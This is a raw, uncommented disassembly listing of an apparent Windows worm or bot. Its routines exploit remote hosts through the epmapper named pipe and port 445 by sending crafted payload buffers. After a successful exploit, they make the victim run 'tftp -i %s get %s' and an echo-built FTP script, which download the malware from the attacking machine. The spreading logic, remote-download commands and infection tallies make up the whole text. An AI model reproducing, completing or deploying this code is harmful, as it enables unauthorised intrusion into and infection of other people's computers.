push esi
push eax
lea eax, [ebp+var_C94]
push eax
call sub_4153F0
lea edi, [esi+370h]
push 3Ch
push offset off_4254E0
lea eax, [ebp+edi+var_1004]
push eax
call sub_4153F0
add edi, 3Ch
push 30h
push offset dword_425520
lea eax, [ebp+edi+var_1004]
push eax
call sub_4153F0
mov eax, esi
add edi, 30h
cdq
sub eax, edx
sar eax, 1
add [ebp+var_CA4], eax
add [ebp+var_C9C], eax
mov eax, [ebp+var_FFC]
lea eax, [eax+esi-0Ch]
mov [ebp+var_FFC], eax
mov eax, [ebp+var_FF4]
lea eax, [eax+esi-0Ch]
mov [ebp+var_FF4], eax
mov eax, [ebp+var_F84]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F84], eax
mov eax, [ebp+var_F80]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F80], eax
mov eax, [ebp+var_F50]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F50], eax
mov eax, [ebp+var_F4C]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F4C], eax
mov eax, [ebp+var_F34]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F34], eax
mov eax, [ebp+var_E78]
lea eax, [eax+esi-0Ch]
lea esi, [edi+1]
push esi
mov [ebp+var_E78], eax
call sub_415BE9
add esp, 40h
mov ebx, eax
push esi
push 0
push ebx
call sub_415390
lea eax, [ebp+var_1004]
push edi
push eax
push ebx
call sub_4153F0
mov eax, [ebp+arg_BC]
add esp, 18h
mov [eax], edi
mov eax, ebx
pop ebx
loc_4033B2: ; CODE XREF: sub_403166+3Ej
pop edi
pop esi
leave
retn
sub_403166 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4033B6 proc near ; CODE XREF: seg001:00402F93p
; sub_4076CB+1D7p
; DATA XREF: ...
var_1338 = byte ptr -1338h
var_338 = byte ptr -338h
var_138 = byte ptr -138h
var_34 = byte ptr -34h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_14 = byte ptr 1Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
arg_B0 = dword ptr 0B8h
arg_B4 = dword ptr 0BCh
push ebp
mov ebp, esp
mov eax, 1338h
call sub_415B90
cmp [ebp+arg_A0], 1BDh
push ebx
push esi
push edi
jnz loc_403524
lea eax, [ebp+var_34]
push eax
lea eax, [ebp+arg_4]
push eax
call sub_402FCD
pop ecx
test eax, eax
pop ecx
jz loc_403634
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_138]
push offset aSPipeEpmapper ; "\\\\%s\\pipe\\epmapper"
push eax
call sub_415316
add esp, 0Ch
xor ebx, ebx
lea eax, [ebp+var_138]
push ebx
push 80h
push 3
push ebx
push 1
push 0C0000000h
push eax
call dword_421078 ; CreateFileA
mov [ebp+var_4], eax
cmp eax, 0FFFFFFFFh
lea eax, [ebp+arg_4]
jnz short loc_40343B
loc_40342F: ; CODE XREF: sub_4033B6+126j
push eax
call sub_4030B0
pop ecx
jmp loc_403634
; ---------------------------------------------------------------------------
loc_40343B: ; CODE XREF: sub_4033B6+77j
push 2
push eax
call sub_412A1D
pop ecx
lea esi, [ebp+arg_0]
pop ecx
push 1
push eax
lea eax, [ebp+var_10]
push eax
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_403166
add esp, 0C8h
cmp eax, ebx
mov [ebp+var_8], eax
jz short loc_4034D0
mov edi, 186A0h
push edi
call sub_415BE9
mov esi, eax
push edi
push ebx
push esi
call sub_415390
add esp, 10h
lea eax, [ebp+var_C]
mov edi, 2710h
push ebx
push eax
push edi
push esi
push 48h
push offset dword_425118
push [ebp+var_4]
call dword_421074 ; TransactNamedPipe
cmp byte ptr [esi+2], 0Ch
jnz short loc_4034C0
lea eax, [ebp+var_14]
push ebx
push eax
push [ebp+var_10]
push [ebp+var_8]
push [ebp+var_4]
call dword_421070 ; WriteFile
test eax, eax
jnz short loc_4034E1
loc_4034C0: ; CODE XREF: sub_4033B6+F0j
push esi
call sub_415C9B
push [ebp+var_8]
call sub_415C9B
pop ecx
pop ecx
loc_4034D0: ; CODE XREF: sub_4033B6+B6j
push [ebp+var_4]
call dword_42106C ; CloseHandle
lea eax, [ebp+arg_4]
jmp loc_40342F
; ---------------------------------------------------------------------------
loc_4034E1: ; CODE XREF: sub_4033B6+108j
lea eax, [ebp+var_C]
push ebx
push eax
push edi
push esi
push [ebp+var_4]
call dword_421068 ; ReadFile
push [ebp+var_8]
mov edi, eax
call sub_415C9B
push esi
call sub_415C9B
pop ecx
pop ecx
push [ebp+var_4]
call dword_42106C ; CloseHandle
lea eax, [ebp+arg_4]
push eax
call sub_4030B0
cmp edi, 1
pop ecx
jnz loc_403645
jmp loc_403634
; ---------------------------------------------------------------------------
loc_403524: ; CODE XREF: sub_4033B6+1Aj
lea eax, [ebp+arg_4]
push 1
push eax
call sub_412A1D
mov esi, eax
pop ecx
cmp esi, 1
pop ecx
jz loc_403634
xor ebx, ebx
push ebx
push 1
push 2
call dword_43C5D4
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_403634
push 10h
lea eax, [ebp+var_24]
push ebx
push eax
call sub_415390
add esp, 0Ch
mov [ebp+var_24], 2
push [ebp+arg_A0]
call dword_43C554
mov [ebp+var_22], ax
lea eax, [ebp+arg_4]
push eax
call dword_43C594
mov [ebp+var_20], eax
push ebx
lea eax, [ebp+var_C]
push esi
push eax
lea esi, [ebp+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_403166
mov esi, eax
add esp, 0C8h
cmp esi, ebx
mov [ebp+var_8], esi
jnz short loc_4035B6
push [ebp+var_4]
jmp short loc_40362E
; ---------------------------------------------------------------------------
loc_4035B6: ; CODE XREF: sub_4033B6+1F9j
mov edi, [ebp+var_4]
lea eax, [ebp+var_24]
push 10h
push eax
push edi
call dword_43C4FC
cmp eax, 0FFFFFFFFh
jnz short loc_4035CE
loc_4035CB: ; CODE XREF: sub_4033B6+22Aj
push esi
jmp short loc_403627
; ---------------------------------------------------------------------------
loc_4035CE: ; CODE XREF: sub_4033B6+213j
push ebx
push 48h
push offset dword_425118
push edi
call dword_43C5A4
cmp eax, 0FFFFFFFFh
jz short loc_4035CB
mov esi, 1000h
push ebx
lea eax, [ebp+var_1338]
push esi
push eax
push edi
call dword_43C56C
push ebx
push [ebp+var_C]
push [ebp+var_8]
push edi
call dword_43C5A4
cmp eax, 0FFFFFFFFh
jnz short loc_40360F
push [ebp+var_8]
jmp short loc_403627
; ---------------------------------------------------------------------------
loc_40360F: ; CODE XREF: sub_4033B6+252j
push ebx
lea eax, [ebp+var_1338]
push esi
push eax
push edi
call dword_43C56C
push [ebp+var_8]
cmp eax, 0FFFFFFFFh
jnz short loc_403638
loc_403627: ; CODE XREF: sub_4033B6+216j
; sub_4033B6+257j
call sub_415C9B
pop ecx
push edi
loc_40362E: ; CODE XREF: sub_4033B6+1FEj
call dword_43C5EC
loc_403634: ; CODE XREF: sub_4033B6+31j
; sub_4033B6+80j ...
xor eax, eax
jmp short loc_4036B1
; ---------------------------------------------------------------------------
loc_403638: ; CODE XREF: sub_4033B6+26Fj
call sub_415C9B
pop ecx
push edi
call dword_43C5EC
loc_403645: ; CODE XREF: sub_4033B6+163j
xor esi, esi
loc_403647: ; CODE XREF: sub_4033B6+2B1j
lea eax, [ebp+var_338]
push eax
call sub_40B158
test eax, eax
pop ecx
jnz short loc_40366B
push 1388h
call dword_421060 ; Sleep
inc esi
cmp esi, 6
jl short loc_403647
jmp short loc_4036AE
; ---------------------------------------------------------------------------
loc_40366B: ; CODE XREF: sub_4033B6+2A0j
cmp [ebp+arg_B4], ebx
jnz short loc_403690
push ebx
lea eax, [ebp+var_338]
push [ebp+arg_B0]
push eax
lea eax, [ebp+arg_14]
push eax
push [ebp+arg_0]
call sub_412BD1
add esp, 14h
loc_403690: ; CODE XREF: sub_4033B6+2BBj
lea eax, [ebp+var_338]
push eax
call sub_40B078
mov eax, [ebp+arg_A8]
pop ecx
imul eax, 3Ch
lea eax, dword_427390[eax]
inc dword ptr [eax]
loc_4036AE: ; CODE XREF: sub_4033B6+2B3j
xor eax, eax
inc eax
loc_4036B1: ; CODE XREF: sub_4033B6+280j
pop edi
pop esi
pop ebx
leave
retn
sub_4033B6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4036B6 proc near ; DATA XREF: seg001:00423004o
jmp $+5
sub_4036B6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4036BB proc near
push 0BB80h
push 76Ch
call sub_413F12
pop ecx
mov dword_43B18C, eax
pop ecx
retn
sub_4036BB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4036D2 proc near ; CODE XREF: sub_403833+42Cp
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_415390
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
call dword_43C594
mov [ebp+var_C], eax
mov ax, word ptr dword_43B18C
push eax
call dword_43C554
push esi
push 1
push 2
mov [ebp+var_E], ax
call dword_43C5D4
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40380C
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_43C4FC
cmp eax, 0FFFFFFFFh
jz loc_40380C
push esi
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call dword_43C56C
mov esi, offset byte_42C2BC
push esi
push esi
push [ebp+arg_0]
call sub_40A08A
pop ecx
mov edi, 190h
push eax
push offset aTftpISGetS ; "tftp -i %s get %s\r\n"
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_41588A
add esp, 18h
push esi
push esi
push dword_43B1A0
push [ebp+arg_0]
call sub_40A08A
pop ecx
push eax
push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "...
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_41588A
add esp, 1Ch
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_43C5A4
cmp eax, 0FFFFFFFFh
jz short loc_40380C
push 1F4h
call dword_421060 ; Sleep
push esi
push offset dword_425090
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_41588A
add esp, 10h
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_43C5A4
cmp eax, 0FFFFFFFFh
jnz short loc_403810
loc_40380C: ; CODE XREF: sub_4036D2+51j
; sub_4036D2+67j ...
xor al, al
jmp short loc_40382E
; ---------------------------------------------------------------------------
loc_403810: ; CODE XREF: sub_4036D2+138j
push 0
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call dword_43C56C
push ebx
call dword_43C5EC
mov al, 1
loc_40382E: ; CODE XREF: sub_4036D2+13Cj
pop edi
pop esi
pop ebx
leave
retn
sub_4036D2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403833 proc near ; CODE XREF: sub_403C74+125p
; sub_403C74+147p
var_89B4 = byte ptr -89B4h
var_894C = byte ptr -894Ch
var_68DC = byte ptr -68DCh
var_686C = byte ptr -686Ch
var_5DA8 = byte ptr -5DA8h
var_4804 = byte ptr -4804h
var_4803 = byte ptr -4803h
var_3770 = byte ptr -3770h
var_2CAC = byte ptr -2CACh
var_2CAB = byte ptr -2CABh
var_2CA8 = byte ptr -2CA8h
var_2C2C = byte ptr -2C2Ch
var_245C = byte ptr -245Ch
var_1FB1 = byte ptr -1FB1h
var_1CC4 = byte ptr -1CC4h
var_14E0 = byte ptr -14E0h
var_14D0 = byte ptr -14D0h
var_11AC = byte ptr -11ACh
var_11A8 = byte ptr -11A8h
var_119C = byte ptr -119Ch
var_F14 = byte ptr -0F14h
var_E74 = byte ptr -0E74h
var_768 = dword ptr -768h
var_758 = byte ptr -758h
var_744 = byte ptr -744h
var_104 = byte ptr -104h
var_103 = byte ptr -103h
var_B4 = byte ptr -0B4h
var_B1 = byte ptr -0B1h
var_87 = byte ptr -87h
var_85 = byte ptr -85h
var_84 = byte ptr -84h
var_3C = byte ptr -3Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_6 = dword ptr -6
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
push ebp
mov ebp, esp
mov eax, 89B4h
call sub_415B90
mov eax, dword_425110
push ebx
mov [ebp+var_10], eax
mov eax, dword_425114
mov [ebp+var_C], eax
push esi
lea eax, [ebp+arg_4]
push edi
push eax
lea eax, [ebp+var_3C]
push offset loc_425104
push eax
call sub_415316
add esp, 0Ch
xor ebx, ebx
xor eax, eax
loc_40386C: ; CODE XREF: sub_403833+4Fj
mov cl, [ebp+eax+var_3C]
mov [ebp+eax*2+var_103], bl
mov [ebp+eax*2+var_104], cl
inc eax
cmp eax, 28h
jl short loc_40386C
push 60h
lea eax, [ebp+var_B4]
push offset dword_425B58
push eax
call sub_4153F0
lea eax, [ebp+var_3C]
push eax
call sub_415B10
add eax, eax
push eax
lea eax, [ebp+var_104]
push eax
lea eax, [ebp+var_84]
push eax
call sub_4153F0
add esp, 1Ch
lea eax, [ebp+var_3C]
push 9
push (offset aC_0+3)
push eax
call sub_415B10
pop ecx
lea eax, [ebp+eax*2+var_85]
push eax
call sub_4153F0
lea eax, [ebp+var_3C]
push eax
call sub_415B10
add al, 1Ah
push 1
add al, al
mov [ebp+var_1], al
lea eax, [ebp+var_1]
push eax
lea eax, [ebp+var_B1]
push eax
call sub_4153F0
lea eax, [ebp+var_3C]
push eax
call sub_415B10
add al, al
push 1
add al, 9
mov [ebp+var_2], al
lea eax, [ebp+var_2]
push eax
lea eax, [ebp+var_87]
push eax
call sub_4153F0
mov ax, word ptr dword_43B18C
add esp, 2Ch
push eax
call dword_43C554
xor eax, 9999h
push 2
mov [ebp+var_6], eax
lea eax, [ebp+var_6]
push eax
push offset dword_425850
call sub_4153F0
add esp, 0Ch
cmp [ebp+arg_C0], ebx
jz loc_403A31
mov edi, 0DACh
lea eax, [ebp+var_1CC4]
push edi
push 90h
push eax
call sub_415390
mov eax, [ebp+arg_C0]
push 4
imul eax, 3Ch
lea eax, dword_425F98[eax]
mov [ebp+var_14], eax
push eax
lea eax, [ebp+var_14E0]
push eax
call sub_4153F0
mov esi, offset loc_4257A0
push esi
call sub_415B10
push eax
lea eax, [ebp+var_14D0]
push esi
push eax
call sub_4153F0
push 4
lea eax, [ebp+var_11AC]
push offset loc_4250FC
push eax
call sub_4153F0
push 4
lea eax, [ebp+var_11A8]
push [ebp+var_14]
push eax
call sub_4153F0
add esp, 40h
push esi
call sub_415B10
push eax
lea eax, [ebp+var_119C]
push esi
push eax
call sub_4153F0
add esp, 10h
xor eax, eax
loc_4039E3: ; CODE XREF: sub_403833+1C8j
mov cl, [ebp+eax+var_1CC4]
mov [ebp+eax*2+var_4803], bl
mov [ebp+eax*2+var_4804], cl
inc eax
cmp eax, edi
jl short loc_4039E3
mov esi, 1C52h
lea eax, [ebp+var_89B4]
push esi
push 31h
push eax
mov [ebp+var_2CAC], bl
mov [ebp+var_2CAB], bl
call sub_415390
push esi
lea eax, [ebp+var_68DC]
push 31h
push eax
call sub_415390
add esp, 18h
jmp short loc_403A88
; ---------------------------------------------------------------------------
loc_403A31: ; CODE XREF: sub_403833+119j
push 7D0h
lea eax, [ebp+var_F14]
push 90h
push eax
call sub_415390
mov esi, offset loc_4257A0
push esi
call sub_415B10
push eax
lea eax, [ebp+var_E74]
push esi
push eax
call sub_4153F0
lea eax, [ebp+var_10]
push eax
call sub_415B10
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_758]
push eax
call sub_4153F0
mov eax, dword_425F98
add esp, 2Ch
mov [ebp+var_768], eax
loc_403A88: ; CODE XREF: sub_403833+1FCj
push 0E29h
lea eax, [ebp+var_2CA8]
push 31h
push eax
call sub_415390
movsx eax, [ebp+var_1]
mov edi, [ebp+arg_BC]
add esp, 0Ch
add eax, 4
push ebx
push eax
lea eax, [ebp+var_B4]
push eax
push edi
call dword_43C5A4
cmp eax, 0FFFFFFFFh
jnz short loc_403AC7
loc_403AC0: ; CODE XREF: sub_403833+2BBj
; sub_403833+2E2j ...
xor al, al
jmp loc_403C6F
; ---------------------------------------------------------------------------
loc_403AC7: ; CODE XREF: sub_403833+28Bj
mov esi, 640h
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_43C56C
push ebx
push 68h
push offset dword_425BC0
push edi
call dword_43C5A4
cmp eax, 0FFFFFFFFh
jz short loc_403AC0
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_43C56C
push ebx
push 0A0h
push offset dword_425C30
push edi
call dword_43C5A4
cmp eax, 0FFFFFFFFh
jz short loc_403AC0
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_43C56C
cmp [ebp+arg_C0], ebx
jz loc_403BDD
push 68h
lea eax, [ebp+var_89B4]
push offset dword_425DF0
push eax
call sub_4153F0
lea eax, [ebp+var_4804]
push 1B5Ah
push eax
lea eax, [ebp+var_894C]
push eax
call sub_4153F0
push 70h
lea eax, [ebp+var_68DC]
push offset dword_425E60
push eax
call sub_4153F0
lea eax, [ebp+var_3770]
push 0A5Eh
push eax
lea eax, [ebp+var_686C]
push eax
call sub_4153F0
push 84h
lea eax, [ebp+var_5DA8]
push offset dword_425ED8
push eax
call sub_4153F0
add esp, 3Ch
lea eax, [ebp+var_89B4]
push ebx
push 10FCh
push eax
push edi
call dword_43C5A4
cmp eax, 0FFFFFFFFh
jz loc_403AC0
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_43C56C
push ebx
push 0FDCh
lea eax, [ebp+var_68DC]
jmp short loc_403C33
; ---------------------------------------------------------------------------
loc_403BDD: ; CODE XREF: sub_403833+2FAj
push 7Ch
lea eax, [ebp+var_2CA8]
push offset dword_425CD8
push eax
call sub_4153F0
lea eax, [ebp+var_F14]
push 7D0h
push eax
lea eax, [ebp+var_2C2C]
push eax
call sub_4153F0
push 90h
lea eax, [ebp+var_245C]
push offset off_425D58
push eax
call sub_4153F0
add esp, 24h
mov [ebp+var_1FB1], bl
lea eax, [ebp+var_2CA8]
push ebx
push 0CF8h
loc_403C33: ; CODE XREF: sub_403833+3A8j
push eax
push edi
call dword_43C5A4
cmp eax, 0FFFFFFFFh
jz loc_403AC0
push 12Ch
call dword_421060 ; Sleep
sub esp, 0BCh
lea esi, [ebp+arg_0]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_4036D2
add esp, 0BCh
test al, al
setnz al
loc_403C6F: ; CODE XREF: sub_403833+28Fj
pop edi
pop esi
pop ebx
leave
retn
sub_403833 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403C74 proc near ; CODE XREF: seg001:00402FB3p
; seg001:00403E5Dp ...
var_854 = byte ptr -854h
var_810 = byte ptr -810h
var_214 = byte ptr -214h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_14 = byte ptr 1Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
arg_B0 = dword ptr 0B8h
push ebp
mov ebp, esp
sub esp, 854h
push ebx
push esi
push edi
push 0BB80h
push 76Ch
call sub_413F12
xor edi, edi
push 10h
lea eax, [ebp+var_14]
push edi
push eax
mov [ebp+var_4], edi
call sub_415390
add esp, 14h
lea eax, [ebp+arg_4]
mov [ebp+var_14], 2
push eax
call dword_43C594
push [ebp+arg_A0]
mov [ebp+var_10], eax
call dword_43C554
push 6
push 1
push 2
mov [ebp+var_12], ax
call dword_43C5D4
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_403D7C
lea eax, [ebp+var_14]
push 10h
push eax
push ebx
call dword_43C4FC
cmp eax, 0FFFFFFFFh
jz loc_403D7C
push edi
push 89h
push offset dword_425938
push ebx
call dword_43C5A4
cmp eax, 0FFFFFFFFh
jz short loc_403D7C
mov esi, 640h
push edi
lea eax, [ebp+var_854]
push esi
push eax
push ebx
call dword_43C56C
push edi
push 0A8h
push offset dword_4259C8
push ebx
call dword_43C5A4
cmp eax, 0FFFFFFFFh
jz short loc_403D7C
push edi
lea eax, [ebp+var_854]
push esi
push eax
push ebx
call dword_43C56C
push edi
push 0DEh
push offset dword_425A78
push ebx
call dword_43C5A4
cmp eax, 0FFFFFFFFh
jz short loc_403D7C
push edi
lea eax, [ebp+var_854]
push esi
push eax
push ebx
call dword_43C56C
movsx eax, [ebp+var_810]
sub eax, 30h
jz short loc_403D86
dec eax
jz short loc_403D83
loc_403D7C: ; CODE XREF: sub_403C74+63j
; sub_403C74+79j ...
xor eax, eax
jmp loc_403E1C
; ---------------------------------------------------------------------------
loc_403D83: ; CODE XREF: sub_403C74+106j
push edi
jmp short loc_403DAA
; ---------------------------------------------------------------------------
loc_403D86: ; CODE XREF: sub_403C74+103j
push 2
push ebx
sub esp, 0BCh
lea esi, [ebp+arg_0]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_403833
add esp, 0C4h
test al, al
jnz short loc_403DCA
push 1
loc_403DAA: ; CODE XREF: sub_403C74+110j
push ebx
lea esi, [ebp+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_403833
add esp, 0C4h
test al, al
jz short loc_403DD1
loc_403DCA: ; CODE XREF: sub_403C74+132j
mov [ebp+var_4], 1
loc_403DD1: ; CODE XREF: sub_403C74+154j
push ebx
call dword_43C5EC
cmp [ebp+var_4], 0
jz short loc_403E19
push 0
lea eax, [ebp+var_214]
push [ebp+arg_B0]
push eax
lea eax, [ebp+arg_14]
push eax
push [ebp+arg_0]
call sub_412BD1
lea eax, [ebp+var_214]
push eax
call sub_40B078
mov eax, [ebp+arg_A8]
add esp, 18h
imul eax, 3Ch
lea eax, dword_427390[eax]
inc dword ptr [eax]
loc_403E19: ; CODE XREF: sub_403C74+168j
xor eax, eax
inc eax
loc_403E1C: ; CODE XREF: sub_403C74+10Aj
pop edi
pop esi
pop ebx
leave
retn
sub_403C74 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push esi
push edi
sub esp, 0BCh
lea esi, [ebp+8]
mov dword ptr [ebp+0A8h], 1BDh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_402DD1
push 2Fh
lea esi, [ebp+8]
pop ecx
mov dword ptr [ebp+0A8h], 1BDh
mov edi, esp
mov [ebp-4], eax
rep movsd
call sub_403C74
add esp, 0BCh
cmp dword ptr [ebp-4], 0
jnz short loc_403E72
test eax, eax
jz short loc_403E75
loc_403E72: ; CODE XREF: seg001:00403E6Cj
xor eax, eax
inc eax
loc_403E75: ; CODE XREF: seg001:00403E70j
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
sub_403E79 proc near ; CODE XREF: sub_4040E5+Ep
; sub_4040E5+33p ...
mov eax, ecx
and dword ptr [eax+4], 0
and dword ptr [eax], 0
retn
sub_403E79 endp
; =============== S U B R O U T I N E =======================================
sub_403E83 proc near ; CODE XREF: sub_4040E5+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
push edi
push ebx
mov esi, ecx
call sub_415BE9
mov edi, eax
pop ecx
test edi, edi
jz short loc_403EB5
push ebx
push 0
push edi
call sub_415390
push ebx
push [esp+1Ch+arg_0]
push edi
call sub_4153F0
add esp, 18h
mov [esi+4], ebx
mov [esi], edi
loc_403EB5: ; CODE XREF: sub_403E83+14j
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_403E83 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403EBD proc near ; CODE XREF: sub_403FAF+18p
; sub_404029+16p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, ecx
mov ecx, [ebp+arg_C]
push esi
push edi
lea edi, [eax+ecx]
push edi
call sub_415BE9
mov esi, eax
pop ecx
test esi, esi
jz short loc_403F09
push edi
push 0
push esi
call sub_415390
push [ebp+arg_4]
push [ebp+arg_0]
push esi
call sub_4153F0
push [ebp+arg_C]
mov eax, [ebp+arg_4]
add eax, esi
push [ebp+arg_8]
push eax
call sub_4153F0
add esp, 24h
mov [ebx+4], edi
mov [ebx], esi
loc_403F09: ; CODE XREF: sub_403EBD+1Cj
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn 10h
sub_403EBD endp
; =============== S U B R O U T I N E =======================================
sub_403F12 proc near ; CODE XREF: sub_403FAF+5Ep
; sub_403FAF+6Fp ...
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_403F22
push eax
call sub_415C9B
pop ecx
loc_403F22: ; CODE XREF: sub_403F12+7j
and dword ptr [esi+4], 0
and dword ptr [esi], 0
pop esi
retn
sub_403F12 endp
; =============== S U B R O U T I N E =======================================
sub_403F2B proc near ; CODE XREF: sub_403FAF+20p
; sub_40408A+8p ...
push ebx
push esi
mov esi, ecx
push edi
mov eax, [esi+4]
cmp eax, 0FFFFh
jge short loc_403F55
xor ebx, ebx
cmp eax, 7Fh
setnl bl
lea ebx, [ebx+ebx+1]
add eax, ebx
push eax
call sub_415BE9
mov edi, eax
pop ecx
test edi, edi
jnz short loc_403F59
loc_403F55: ; CODE XREF: sub_403F2B+Dj
xor al, al
jmp short loc_403FAB
; ---------------------------------------------------------------------------
loc_403F59: ; CODE XREF: sub_403F2B+28j
mov eax, [esi+4]
add eax, ebx
push eax
push 0
push edi
call sub_415390
add esp, 0Ch
cmp ebx, 1
jnz short loc_403F79
mov al, [esi+4]
mov [edi], al
lea eax, [edi+1]
jmp short loc_403F8E
; ---------------------------------------------------------------------------
loc_403F79: ; CODE XREF: sub_403F2B+42j
mov byte ptr [edi], 82h
mov eax, [esi+4]
sar eax, 8
mov [edi+1], al
mov al, [esi+4]
mov [edi+2], al
lea eax, [edi+3]
loc_403F8E: ; CODE XREF: sub_403F2B+4Cj
push dword ptr [esi+4]
push dword ptr [esi]
push eax
call sub_4153F0
add esp, 0Ch
push dword ptr [esi]
call sub_415C9B
add [esi+4], ebx
pop ecx
mov [esi], edi
mov al, 1
loc_403FAB: ; CODE XREF: sub_403F2B+2Cj
pop edi
pop esi
pop ebx
retn
sub_403F2B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403FAF proc near ; CODE XREF: sub_4040E5+89p
; sub_4040E5+E3p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push edi
lea ecx, [ebp+var_8]
push dword ptr [esi+4]
push dword ptr [esi]
push 1
push offset dword_43B198
call sub_403EBD
lea ecx, [ebp+var_8]
call sub_403F2B
mov eax, [ebp+var_4]
inc eax
push eax
call sub_415BE9
mov edi, eax
pop ecx
test edi, edi
jnz short loc_403FE9
xor al, al
jmp short loc_404025
; ---------------------------------------------------------------------------
loc_403FE9: ; CODE XREF: sub_403FAF+34j
mov eax, [ebp+var_4]
inc eax
push eax
push 0
push edi
call sub_415390
mov byte ptr [edi], 3
push [ebp+var_4]
lea eax, [edi+1]
push [ebp+var_8]
push eax
call sub_4153F0
add esp, 18h
mov ecx, esi
call sub_403F12
mov eax, [ebp+var_4]
lea ecx, [ebp+var_8]
inc eax
mov [esi], edi
mov [esi+4], eax
call sub_403F12
mov al, 1
loc_404025: ; CODE XREF: sub_403FAF+38j
pop edi
pop esi
leave
retn
sub_403FAF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404029 proc near ; CODE XREF: sub_40405D+14p
; sub_40407A+8p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push [ebp+arg_4]
lea ecx, [ebp+var_8]
push [ebp+arg_0]
push dword ptr [esi+4]
push dword ptr [esi]
call sub_403EBD
mov ecx, esi
call sub_403F12
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
pop esi
leave
retn 8
sub_404029 endp
; =============== S U B R O U T I N E =======================================
sub_40405D proc near ; CODE XREF: sub_4040E5+F0p
; sub_4040E5+15Bp ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_415B10
pop ecx
push eax
mov ecx, esi
push [esp+8+arg_0]
call sub_404029
pop esi
retn 4
sub_40405D endp
; =============== S U B R O U T I N E =======================================
sub_40407A proc near ; CODE XREF: sub_4040C6+Bp
; sub_4040E5+1A1p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_404029
retn 8
sub_40407A endp
